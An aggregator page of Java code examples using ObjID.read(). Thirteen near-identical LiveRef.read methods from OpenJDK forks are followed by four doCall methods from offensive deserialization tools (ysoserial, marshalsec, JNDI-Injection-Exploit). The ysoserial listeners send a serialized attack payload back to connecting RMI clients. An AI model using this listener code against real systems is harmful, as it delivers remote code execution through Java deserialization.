Java Code Examples for java.rmi.server.ObjID#read()

The following examples show how to use java.rmi.server.ObjID#read() . You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example 1
Source File: LiveRef.java    From dragonwell8_jdk with GNU General Public License v2.0 5 votes vote down vote up
public static LiveRef read(ObjectInput in, boolean useNewFormat)
    throws IOException, ClassNotFoundException
{
    Endpoint ep;
    ObjID id;

    // Now read in the endpoint, id, and result flag
    // (need to choose whether or not to read old JDK1.1 endpoint format)
    if (useNewFormat) {
        ep = TCPEndpoint.read(in);
    } else {
        ep = TCPEndpoint.readHostPortFormat(in);
    }
    id = ObjID.read(in);
    boolean isResultStream = in.readBoolean();

    LiveRef ref = new LiveRef(id, ep, false);

    if (in instanceof ConnectionInputStream) {
        ConnectionInputStream stream = (ConnectionInputStream)in;
        // save ref to send "dirty" call after all args/returns
        // have been unmarshaled.
        stream.saveRef(ref);
        if (isResultStream) {
            // set flag in stream indicating that remote objects were
            // unmarshaled.  A DGC ack should be sent by the transport.
            stream.setAckNeeded();
        }
    } else {
        DGCClient.registerRefs(ep, Arrays.asList(new LiveRef[] { ref }));
    }

    return ref;
}
 
Example 2
Source File: LiveRef.java    From TencentKona-8 with GNU General Public License v2.0 5 votes vote down vote up
public static LiveRef read(ObjectInput in, boolean useNewFormat)
    throws IOException, ClassNotFoundException
{
    Endpoint ep;
    ObjID id;

    // Now read in the endpoint, id, and result flag
    // (need to choose whether or not to read old JDK1.1 endpoint format)
    if (useNewFormat) {
        ep = TCPEndpoint.read(in);
    } else {
        ep = TCPEndpoint.readHostPortFormat(in);
    }
    id = ObjID.read(in);
    boolean isResultStream = in.readBoolean();

    LiveRef ref = new LiveRef(id, ep, false);

    if (in instanceof ConnectionInputStream) {
        ConnectionInputStream stream = (ConnectionInputStream)in;
        // save ref to send "dirty" call after all args/returns
        // have been unmarshaled.
        stream.saveRef(ref);
        if (isResultStream) {
            // set flag in stream indicating that remote objects were
            // unmarshaled.  A DGC ack should be sent by the transport.
            stream.setAckNeeded();
        }
    } else {
        DGCClient.registerRefs(ep, Arrays.asList(new LiveRef[] { ref }));
    }

    return ref;
}
 
Example 3
Source File: LiveRef.java    From jdk8u60 with GNU General Public License v2.0 5 votes vote down vote up
public static LiveRef read(ObjectInput in, boolean useNewFormat)
    throws IOException, ClassNotFoundException
{
    Endpoint ep;
    ObjID id;

    // Now read in the endpoint, id, and result flag
    // (need to choose whether or not to read old JDK1.1 endpoint format)
    if (useNewFormat) {
        ep = TCPEndpoint.read(in);
    } else {
        ep = TCPEndpoint.readHostPortFormat(in);
    }
    id = ObjID.read(in);
    boolean isResultStream = in.readBoolean();

    LiveRef ref = new LiveRef(id, ep, false);

    if (in instanceof ConnectionInputStream) {
        ConnectionInputStream stream = (ConnectionInputStream)in;
        // save ref to send "dirty" call after all args/returns
        // have been unmarshaled.
        stream.saveRef(ref);
        if (isResultStream) {
            // set flag in stream indicating that remote objects were
            // unmarshaled.  A DGC ack should be sent by the transport.
            stream.setAckNeeded();
        }
    } else {
        DGCClient.registerRefs(ep, Arrays.asList(new LiveRef[] { ref }));
    }

    return ref;
}
 
Example 4
Source File: LiveRef.java    From openjdk-jdk8u with GNU General Public License v2.0 5 votes vote down vote up
public static LiveRef read(ObjectInput in, boolean useNewFormat)
    throws IOException, ClassNotFoundException
{
    Endpoint ep;
    ObjID id;

    // Now read in the endpoint, id, and result flag
    // (need to choose whether or not to read old JDK1.1 endpoint format)
    if (useNewFormat) {
        ep = TCPEndpoint.read(in);
    } else {
        ep = TCPEndpoint.readHostPortFormat(in);
    }
    id = ObjID.read(in);
    boolean isResultStream = in.readBoolean();

    LiveRef ref = new LiveRef(id, ep, false);

    if (in instanceof ConnectionInputStream) {
        ConnectionInputStream stream = (ConnectionInputStream)in;
        // save ref to send "dirty" call after all args/returns
        // have been unmarshaled.
        stream.saveRef(ref);
        if (isResultStream) {
            // set flag in stream indicating that remote objects were
            // unmarshaled.  A DGC ack should be sent by the transport.
            stream.setAckNeeded();
        }
    } else {
        DGCClient.registerRefs(ep, Arrays.asList(new LiveRef[] { ref }));
    }

    return ref;
}
 
Example 5
Source File: LiveRef.java    From openjdk-jdk8u-backup with GNU General Public License v2.0 5 votes vote down vote up
public static LiveRef read(ObjectInput in, boolean useNewFormat)
    throws IOException, ClassNotFoundException
{
    Endpoint ep;
    ObjID id;

    // Now read in the endpoint, id, and result flag
    // (need to choose whether or not to read old JDK1.1 endpoint format)
    if (useNewFormat) {
        ep = TCPEndpoint.read(in);
    } else {
        ep = TCPEndpoint.readHostPortFormat(in);
    }
    id = ObjID.read(in);
    boolean isResultStream = in.readBoolean();

    LiveRef ref = new LiveRef(id, ep, false);

    if (in instanceof ConnectionInputStream) {
        ConnectionInputStream stream = (ConnectionInputStream)in;
        // save ref to send "dirty" call after all args/returns
        // have been unmarshaled.
        stream.saveRef(ref);
        if (isResultStream) {
            // set flag in stream indicating that remote objects were
            // unmarshaled.  A DGC ack should be sent by the transport.
            stream.setAckNeeded();
        }
    } else {
        DGCClient.registerRefs(ep, Arrays.asList(new LiveRef[] { ref }));
    }

    return ref;
}
 
Example 6
Source File: LiveRef.java    From openjdk-jdk9 with GNU General Public License v2.0 5 votes vote down vote up
public static LiveRef read(ObjectInput in, boolean useNewFormat)
    throws IOException, ClassNotFoundException
{
    Endpoint ep;
    ObjID id;

    // Now read in the endpoint, id, and result flag
    // (need to choose whether or not to read old JDK1.1 endpoint format)
    if (useNewFormat) {
        ep = TCPEndpoint.read(in);
    } else {
        ep = TCPEndpoint.readHostPortFormat(in);
    }
    id = ObjID.read(in);
    boolean isResultStream = in.readBoolean();

    LiveRef ref = new LiveRef(id, ep, false);

    if (in instanceof ConnectionInputStream) {
        ConnectionInputStream stream = (ConnectionInputStream)in;
        // save ref to send "dirty" call after all args/returns
        // have been unmarshaled.
        stream.saveRef(ref);
        if (isResultStream) {
            // set flag in stream indicating that remote objects were
            // unmarshaled.  A DGC ack should be sent by the transport.
            stream.setAckNeeded();
        }
    } else {
        DGCClient.registerRefs(ep, Arrays.asList(new LiveRef[] { ref }));
    }

    return ref;
}
 
Example 7
Source File: LiveRef.java    From jdk8u-dev-jdk with GNU General Public License v2.0 5 votes vote down vote up
public static LiveRef read(ObjectInput in, boolean useNewFormat)
    throws IOException, ClassNotFoundException
{
    Endpoint ep;
    ObjID id;

    // Now read in the endpoint, id, and result flag
    // (need to choose whether or not to read old JDK1.1 endpoint format)
    if (useNewFormat) {
        ep = TCPEndpoint.read(in);
    } else {
        ep = TCPEndpoint.readHostPortFormat(in);
    }
    id = ObjID.read(in);
    boolean isResultStream = in.readBoolean();

    LiveRef ref = new LiveRef(id, ep, false);

    if (in instanceof ConnectionInputStream) {
        ConnectionInputStream stream = (ConnectionInputStream)in;
        // save ref to send "dirty" call after all args/returns
        // have been unmarshaled.
        stream.saveRef(ref);
        if (isResultStream) {
            // set flag in stream indicating that remote objects were
            // unmarshaled.  A DGC ack should be sent by the transport.
            stream.setAckNeeded();
        }
    } else {
        DGCClient.registerRefs(ep, Arrays.asList(new LiveRef[] { ref }));
    }

    return ref;
}
 
Example 8
Source File: LiveRef.java    From jdk8u-jdk with GNU General Public License v2.0 5 votes vote down vote up
public static LiveRef read(ObjectInput in, boolean useNewFormat)
    throws IOException, ClassNotFoundException
{
    Endpoint ep;
    ObjID id;

    // Now read in the endpoint, id, and result flag
    // (need to choose whether or not to read old JDK1.1 endpoint format)
    if (useNewFormat) {
        ep = TCPEndpoint.read(in);
    } else {
        ep = TCPEndpoint.readHostPortFormat(in);
    }
    id = ObjID.read(in);
    boolean isResultStream = in.readBoolean();

    LiveRef ref = new LiveRef(id, ep, false);

    if (in instanceof ConnectionInputStream) {
        ConnectionInputStream stream = (ConnectionInputStream)in;
        // save ref to send "dirty" call after all args/returns
        // have been unmarshaled.
        stream.saveRef(ref);
        if (isResultStream) {
            // set flag in stream indicating that remote objects were
            // unmarshaled.  A DGC ack should be sent by the transport.
            stream.setAckNeeded();
        }
    } else {
        DGCClient.registerRefs(ep, Arrays.asList(new LiveRef[] { ref }));
    }

    return ref;
}
 
Example 9
Source File: LiveRef.java    From hottub with GNU General Public License v2.0 5 votes vote down vote up
public static LiveRef read(ObjectInput in, boolean useNewFormat)
    throws IOException, ClassNotFoundException
{
    Endpoint ep;
    ObjID id;

    // Now read in the endpoint, id, and result flag
    // (need to choose whether or not to read old JDK1.1 endpoint format)
    if (useNewFormat) {
        ep = TCPEndpoint.read(in);
    } else {
        ep = TCPEndpoint.readHostPortFormat(in);
    }
    id = ObjID.read(in);
    boolean isResultStream = in.readBoolean();

    LiveRef ref = new LiveRef(id, ep, false);

    if (in instanceof ConnectionInputStream) {
        ConnectionInputStream stream = (ConnectionInputStream)in;
        // save ref to send "dirty" call after all args/returns
        // have been unmarshaled.
        stream.saveRef(ref);
        if (isResultStream) {
            // set flag in stream indicating that remote objects were
            // unmarshaled.  A DGC ack should be sent by the transport.
            stream.setAckNeeded();
        }
    } else {
        DGCClient.registerRefs(ep, Arrays.asList(new LiveRef[] { ref }));
    }

    return ref;
}
 
Example 10
Source File: LiveRef.java    From openjdk-8-source with GNU General Public License v2.0 5 votes vote down vote up
public static LiveRef read(ObjectInput in, boolean useNewFormat)
    throws IOException, ClassNotFoundException
{
    Endpoint ep;
    ObjID id;

    // Now read in the endpoint, id, and result flag
    // (need to choose whether or not to read old JDK1.1 endpoint format)
    if (useNewFormat) {
        ep = TCPEndpoint.read(in);
    } else {
        ep = TCPEndpoint.readHostPortFormat(in);
    }
    id = ObjID.read(in);
    boolean isResultStream = in.readBoolean();

    LiveRef ref = new LiveRef(id, ep, false);

    if (in instanceof ConnectionInputStream) {
        ConnectionInputStream stream = (ConnectionInputStream)in;
        // save ref to send "dirty" call after all args/returns
        // have been unmarshaled.
        stream.saveRef(ref);
        if (isResultStream) {
            // set flag in stream indicating that remote objects were
            // unmarshaled.  A DGC ack should be sent by the transport.
            stream.setAckNeeded();
        }
    } else {
        DGCClient.registerRefs(ep, Arrays.asList(new LiveRef[] { ref }));
    }

    return ref;
}
 
Example 11
Source File: LiveRef.java    From openjdk-8 with GNU General Public License v2.0 5 votes vote down vote up
public static LiveRef read(ObjectInput in, boolean useNewFormat)
    throws IOException, ClassNotFoundException
{
    Endpoint ep;
    ObjID id;

    // Now read in the endpoint, id, and result flag
    // (need to choose whether or not to read old JDK1.1 endpoint format)
    if (useNewFormat) {
        ep = TCPEndpoint.read(in);
    } else {
        ep = TCPEndpoint.readHostPortFormat(in);
    }
    id = ObjID.read(in);
    boolean isResultStream = in.readBoolean();

    LiveRef ref = new LiveRef(id, ep, false);

    if (in instanceof ConnectionInputStream) {
        ConnectionInputStream stream = (ConnectionInputStream)in;
        // save ref to send "dirty" call after all args/returns
        // have been unmarshaled.
        stream.saveRef(ref);
        if (isResultStream) {
            // set flag in stream indicating that remote objects were
            // unmarshaled.  A DGC ack should be sent by the transport.
            stream.setAckNeeded();
        }
    } else {
        DGCClient.registerRefs(ep, Arrays.asList(new LiveRef[] { ref }));
    }

    return ref;
}
 
Example 12
Source File: LiveRef.java    From jdk8u_jdk with GNU General Public License v2.0 5 votes vote down vote up
public static LiveRef read(ObjectInput in, boolean useNewFormat)
    throws IOException, ClassNotFoundException
{
    Endpoint ep;
    ObjID id;

    // Now read in the endpoint, id, and result flag
    // (need to choose whether or not to read old JDK1.1 endpoint format)
    if (useNewFormat) {
        ep = TCPEndpoint.read(in);
    } else {
        ep = TCPEndpoint.readHostPortFormat(in);
    }
    id = ObjID.read(in);
    boolean isResultStream = in.readBoolean();

    LiveRef ref = new LiveRef(id, ep, false);

    if (in instanceof ConnectionInputStream) {
        ConnectionInputStream stream = (ConnectionInputStream)in;
        // save ref to send "dirty" call after all args/returns
        // have been unmarshaled.
        stream.saveRef(ref);
        if (isResultStream) {
            // set flag in stream indicating that remote objects were
            // unmarshaled.  A DGC ack should be sent by the transport.
            stream.setAckNeeded();
        }
    } else {
        DGCClient.registerRefs(ep, Arrays.asList(new LiveRef[] { ref }));
    }

    return ref;
}
 
Example 13
Source File: LiveRef.java    From jdk8u-jdk with GNU General Public License v2.0 5 votes vote down vote up
public static LiveRef read(ObjectInput in, boolean useNewFormat)
    throws IOException, ClassNotFoundException
{
    Endpoint ep;
    ObjID id;

    // Now read in the endpoint, id, and result flag
    // (need to choose whether or not to read old JDK1.1 endpoint format)
    if (useNewFormat) {
        ep = TCPEndpoint.read(in);
    } else {
        ep = TCPEndpoint.readHostPortFormat(in);
    }
    id = ObjID.read(in);
    boolean isResultStream = in.readBoolean();

    LiveRef ref = new LiveRef(id, ep, false);

    if (in instanceof ConnectionInputStream) {
        ConnectionInputStream stream = (ConnectionInputStream)in;
        // save ref to send "dirty" call after all args/returns
        // have been unmarshaled.
        stream.saveRef(ref);
        if (isResultStream) {
            // set flag in stream indicating that remote objects were
            // unmarshaled.  A DGC ack should be sent by the transport.
            stream.setAckNeeded();
        }
    } else {
        DGCClient.registerRefs(ep, Arrays.asList(new LiveRef[] { ref }));
    }

    return ref;
}
 
Example 14
Source File: JRMPListener.java    From ysoserial with MIT License 4 votes vote down vote up
private void doCall ( DataInputStream in, DataOutputStream out, Object payload ) throws Exception {
    ObjectInputStream ois = new ObjectInputStream(in) {

        @Override
        protected Class<?> resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException {
            if ( "[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
                return ObjID[].class;
            } else if ("java.rmi.server.ObjID".equals(desc.getName())) {
                return ObjID.class;
            } else if ( "java.rmi.server.UID".equals(desc.getName())) {
                return UID.class;
            }
            throw new IOException("Not allowed to read object");
        }
    };

    ObjID read;
    try {
        read = ObjID.read(ois);
    }
    catch ( java.io.IOException e ) {
        throw new MarshalException("unable to read objID", e);
    }


    if ( read.hashCode() == 2 ) {
        ois.readInt(); // method
        ois.readLong(); // hash
        System.err.println("Is DGC call for " + Arrays.toString((ObjID[])ois.readObject()));
    }

    System.err.println("Sending return with payload for obj " + read);

    out.writeByte(TransportConstants.Return);// transport op
    ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);

    oos.writeByte(TransportConstants.ExceptionalReturn);
    new UID().write(oos);

    BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
    Reflections.setFieldValue(ex, "val", payload);
    oos.writeObject(ex);

    oos.flush();
    out.flush();

    this.hadConnection = true;
    synchronized ( this.waitLock ) {
        this.waitLock.notifyAll();
    }
}
 
Example 15
Source File: RMIRefServer.java    From JNDI-Injection-Exploit with MIT License 4 votes vote down vote up
private void doCall ( DataInputStream in, DataOutputStream out ) throws Exception {
    ObjectInputStream ois = new ObjectInputStream(in) {

        @Override
        protected Class<?> resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException {
            if ( "[Ljava.rmi.jndi.ObjID;".equals(desc.getName()) ) {
                return ObjID[].class;
            }
            else if ( "java.rmi.jndi.ObjID".equals(desc.getName()) ) {
                return ObjID.class;
            }
            else if ( "java.rmi.jndi.UID".equals(desc.getName()) ) {
                return UID.class;
            }
            else if ( "java.lang.String".equals(desc.getName()) ) {
                return String.class;
            }
            throw new IOException(getLocalTime() + " [RMISERVER]  >> Not allowed to read object");
        }
    };

    ObjID read;
    try {
        read = ObjID.read(ois);
    }
    catch ( IOException e ) {
        throw new MarshalException(getLocalTime() + " [RMISERVER]  >> unable to read objID", e);
    }

    if ( read.hashCode() == 2 ) {
        // DGC
        handleDGC(ois);
    }
    else if ( read.hashCode() == 0 ) {
        if ( handleRMI(ois, out) ) {
            this.hadConnection = true;
            synchronized ( this.waitLock ) {
                this.waitLock.notifyAll();
            }
            return;
        }
    }

}
 
Example 16
Source File: RMIRefServer.java    From marshalsec with MIT License 4 votes vote down vote up
private void doCall ( DataInputStream in, DataOutputStream out ) throws Exception {
    ObjectInputStream ois = new ObjectInputStream(in) {

        @Override
        protected Class<?> resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException {
            if ( "[Ljava.rmi.server.ObjID;".equals(desc.getName()) ) {
                return ObjID[].class;
            }
            else if ( "java.rmi.server.ObjID".equals(desc.getName()) ) {
                return ObjID.class;
            }
            else if ( "java.rmi.server.UID".equals(desc.getName()) ) {
                return UID.class;
            }
            else if ( "java.lang.String".equals(desc.getName()) ) {
                return String.class;
            }
            throw new IOException("Not allowed to read object");
        }
    };

    ObjID read;
    try {
        read = ObjID.read(ois);
    }
    catch ( java.io.IOException e ) {
        throw new MarshalException("unable to read objID", e);
    }

    if ( read.hashCode() == 2 ) {
        // DGC
        handleDGC(ois);
    }
    else if ( read.hashCode() == 0 ) {
        if ( handleRMI(ois, out) ) {
            this.hadConnection = true;
            synchronized ( this.waitLock ) {
                this.waitLock.notifyAll();
            }
            return;
        }
    }

}
 
Example 17
Source File: JRMPListener.java    From ysoserial-modified with MIT License 4 votes vote down vote up
private void doCall ( DataInputStream in, DataOutputStream out, Object payload ) throws Exception {
    ObjectInputStream ois = new ObjectInputStream(in) {

        @Override
        protected Class<?> resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException {
            if ( "[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
                return ObjID[].class;
            } else if ("java.rmi.server.ObjID".equals(desc.getName())) {
                return ObjID.class;
            } else if ( "java.rmi.server.UID".equals(desc.getName())) {
                return UID.class;
            }
            throw new IOException("Not allowed to read object");
        }
    };

    ObjID read;
    try {
        read = ObjID.read(ois);
    }
    catch ( java.io.IOException e ) {
        throw new MarshalException("unable to read objID", e);
    }

    
    if ( read.hashCode() == 2 ) {
        ois.readInt(); // method
        ois.readLong(); // hash
        System.err.println("Is DGC call for " + Arrays.toString((ObjID[])ois.readObject()));
    }
    
    System.err.println("Sending return with payload for obj " + read);

    out.writeByte(TransportConstants.Return);// transport op
    ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);

    oos.writeByte(TransportConstants.ExceptionalReturn);
    new UID().write(oos);

    BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
    Reflections.setFieldValue(ex, "val", payload);
    oos.writeObject(ex);

    oos.flush();
    out.flush();

    this.hadConnection = true;
    synchronized ( this.waitLock ) {
        this.waitLock.notifyAll();
    }
}